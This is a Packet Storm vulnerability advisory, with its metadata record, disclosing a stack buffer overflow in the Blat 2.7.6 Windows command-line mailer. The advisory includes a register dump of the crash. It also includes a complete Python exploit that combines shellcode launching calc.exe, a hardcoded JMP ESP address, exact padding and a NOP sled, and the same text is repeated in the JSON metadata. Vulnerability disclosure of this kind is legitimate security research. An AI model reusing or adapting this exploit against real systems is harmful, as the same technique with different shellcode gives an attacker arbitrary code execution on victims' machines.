ID PACKETSTORM:133968 Type packetstorm Reporter hyp3rlinx Modified 2015-10-14T00:00:00
Description
`[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-BLAT-MAILER-BUFFER-OVERFLOW.txt
Vendor:
================================www.blat.nethttp://sourceforge.net/projects/blat/
Product:
================================
Blat v2.7.6
blat.exe is a Win32 command line eMail tool
that sends eMail using SMTP or post to usenet using NNTP.
Vulnerability Type:
=====================
Stack Buffer Overflow
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
An older release of blat.exe v2.7.6 is prone to a stack based buffer
overflow when sending
malicious command line arguments, we need to send two arguments first
can be whatever e.g. "AAAA"
then second argument to trigger the buffer overflow and execute
arbitrary code on the victims OS.
Stack dump...
EAX 00000826
ECX 0018E828 ASCII "Blat saw and processed these options, and was
confused by the last one...
AAAAAAA...
EDX 0008E3C8
EBX 000000E1
ESP 0018F05C ASCII "AAAAA...
EBP 41414141
ESI 00426E88 blat.00426E88
EDI 00272FD8
EIP 41414141 <-------------- BOOM!
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
Exploit code(s):
===============
Python script to exploit...
import struct,os,subprocess
#pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
vulnpgm="C:\\blat276\\full\\blat.exe "
eip=struct.pack('<L', 0x776D0115) #<--- JMP ESP kernel32.dll
payload="A"*2018+eip+"\x90"*20+sc
subprocess.Popen([vulnpgm, "A"*4, payload], shell=False)
Disclosure Timeline:
=========================================================
Oct 14, 2015 : Public Disclosure
Severity Level:
=========================================================
Med
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that
due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given
to the author.
The author is not responsible for any misuse of the information
contained herein and prohibits any malicious use of all security
related information or exploits by the author or elsewhere.
by hyp3rlinx
`
{"edition": 1, "title": "Blat 2.7.6 Buffer Overflow", "bulletinFamily": "exploit", "published": "2015-10-14T00:00:00", "lastseen": "2016-11-03T10:28:40", "history": [], "modified": "2015-10-14T00:00:00", "reporter": "hyp3rlinx", "hash": "e5e2ca7f0a1f4f8170ca8d9a78b4e8a6e487f4075cdb3bb71d440627831d16cb", "sourceHref": "https://packetstormsecurity.com/files/download/133968/AS-BLAT-MAILER-BUFFER-OVERFLOW.txt", "viewCount": 1, "href": "https://packetstormsecurity.com/files/133968/Blat-2.7.6-Buffer-Overflow.html", "description": "", "type": "packetstorm", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "f74e1a4c5ac305389f685204fe517e3b"}, {"key": "modified", "hash": "b36e0c450721a2c39818d05cc31e3842"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "b36e0c450721a2c39818d05cc31e3842"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "1e27bca2fcc92db87e971d5cdcc91ee8"}, {"key": "sourceData", "hash": "f3c6de0f1d6119b26b342b278cd17dda"}, {"key": "sourceHref", "hash": "5c004202fb4f94b156641d5eafc2c70b"}, {"key": "title", "hash": "39c9dcebe1db27f376b1cdd90f47a773"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "references": [], "objectVersion": "1.2", "enchantments": {"vulnersScore": 7.5}, "sourceData": "`[+] Credits: hyp3rlinx \n \n[+] Website: hyp3rlinx.altervista.org \n \n[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-BLAT-MAILER-BUFFER-OVERFLOW.txt \n \n \n \nVendor: \n================================www.blat.nethttp://sourceforge.net/projects/blat/ \n \n \n \nProduct: \n================================ \nBlat v2.7.6 \n \nblat.exe is a Win32 command line eMail tool \nthat sends eMail using SMTP or post to usenet using NNTP. \n \n \nVulnerability Type: \n===================== \nStack Buffer Overflow \n \n \nCVE Reference: \n============== \nN/A \n \n \n \n \nVulnerability Details: \n===================== \nAn older release of blat.exe v2.7.6 is prone to a stack based buffer \noverflow when sending \nmalicious command line arguments, we need to send two arguments first \ncan be whatever e.g. \"AAAA\" \nthen second argument to trigger the buffer overflow and execute \narbitrary code on the victims OS. \n \n \nStack dump... \n \n \nEAX 00000826 \nECX 0018E828 ASCII \"Blat saw and processed these options, and was \nconfused by the last one... \nAAAAAAA... \nEDX 0008E3C8 \nEBX 000000E1 \nESP 0018F05C ASCII \"AAAAA... \nEBP 41414141 \nESI 00426E88 blat.00426E88 \nEDI 00272FD8 \nEIP 41414141 <-------------- BOOM! \n \nC 0 ES 002B 32bit 0(FFFFFFFF) \nP 1 CS 0023 32bit 0(FFFFFFFF) \nA 0 SS 002B 32bit 0(FFFFFFFF) \nZ 1 DS 002B 32bit 0(FFFFFFFF) \nS 0 FS 0053 32bit 7EFDD000(FFF) \nT 0 GS 002B 32bit 0(FFFFFFFF) \nD 0 \nO 0 LastErr ERROR_SUCCESS (00000000) \nEFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE) \n \n \n \nExploit code(s): \n=============== \n \nPython script to exploit... \n \n \nimport struct,os,subprocess \n \n \n#pop calc.exe Windows 7 SP1 \nsc=(\"\\x31\\xF6\\x56\\x64\\x8B\\x76\\x30\\x8B\\x76\\x0C\\x8B\\x76\\x1C\\x8B\" \n\"\\x6E\\x08\\x8B\\x36\\x8B\\x5D\\x3C\\x8B\\x5C\\x1D\\x78\\x01\\xEB\\x8B\" \n\"\\x4B\\x18\\x8B\\x7B\\x20\\x01\\xEF\\x8B\\x7C\\x8F\\xFC\\x01\\xEF\\x31\" \n\"\\xC0\\x99\\x32\\x17\\x66\\xC1\\xCA\\x01\\xAE\\x75\\xF7\\x66\\x81\\xFA\" \n\"\\x10\\xF5\\xE0\\xE2\\x75\\xCF\\x8B\\x53\\x24\\x01\\xEA\\x0F\\xB7\\x14\" \n\"\\x4A\\x8B\\x7B\\x1C\\x01\\xEF\\x03\\x2C\\x97\\x68\\x2E\\x65\\x78\\x65\" \n\"\\x68\\x63\\x61\\x6C\\x63\\x54\\x87\\x04\\x24\\x50\\xFF\\xD5\\xCC\") \n \nvulnpgm=\"C:\\\\blat276\\\\full\\\\blat.exe \" \neip=struct.pack('<L', 0x776D0115) #<--- JMP ESP kernel32.dll \n \npayload=\"A\"*2018+eip+\"\\x90\"*20+sc \nsubprocess.Popen([vulnpgm, \"A\"*4, payload], shell=False) \n \n \n \nDisclosure Timeline: \n========================================================= \nOct 14, 2015 : Public Disclosure \n \n \n \nSeverity Level: \n========================================================= \nMed \n \n \n=========================================================== \n \n[+] Disclaimer \nPermission is hereby granted for the redistribution of this advisory, \nprovided that it is not altered except by reformatting it, and that \ndue credit is given. Permission is explicitly given for insertion in \nvulnerability databases and similar, provided that due credit is given \nto the author. \nThe author is not responsible for any misuse of the information \ncontained herein and prohibits any malicious use of all security \nrelated information or exploits by the author or elsewhere. \n \nby hyp3rlinx \n`\n", "cvss": {"vector": "NONE", "score": 0.0}, "cvelist": [], "id": "PACKETSTORM:133968"}
